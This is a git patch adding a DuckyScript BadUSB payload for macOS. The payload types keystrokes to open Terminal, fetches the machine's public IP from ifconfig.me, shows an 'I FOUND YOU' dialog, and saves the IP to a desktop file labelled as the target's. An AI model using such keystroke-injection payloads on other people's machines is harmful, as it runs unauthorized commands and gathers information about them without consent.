From ce693bf90eed847e6e6ba4f8462ccf0f81f666a3 Mon Sep 17 00:00:00 2001 From: Narsty <132179825+narstybits@users.noreply.github.com> Date: Wed, 10 May 2023 14:29:28 -0500 Subject: [PATCH] Add files via upload --- Executions/Public I.P. Finder.txt | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 Executions/Public I.P. Finder.txt diff --git a/Executions/Public I.P. Finder.txt b/Executions/Public I.P. Finder.txt new file mode 100644 index 0000000..87d9172 --- /dev/null +++ b/Executions/Public I.P. Finder.txt @@ -0,0 +1,25 @@ +REM Title: Public I.P. Finder +REM Author: Narsty +REM Description: Uses Mac Terminal public IP to do a PUBLIC I.P. lookup +REM displays the results in a pop up window & Saves the data to a folder on the desktop +REM Target: MacOS +REM Version: 1.0 +REM Category: Execution + +DELAY 500 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 500 +ENTER +STRING curl -s ifconfig.me; echo +DELAY 500 +ENTER +DELAY 500 +STRING public_ip=$(curl -s ifconfig.me); osascript -e "tell app \"System Events\" to display dialog \"I FOUND YOU: $public_ip\" with title \"Public IP Address\"" +DELAY 500 +STRING && mkdir ~/Desktop/"Public I.P. Data" && echo "Your TARGETS IP address is: $public_ip" > ~/Desktop/"Public I.P. Data"/public_ip.txt +DELAY 500 +ENTER + +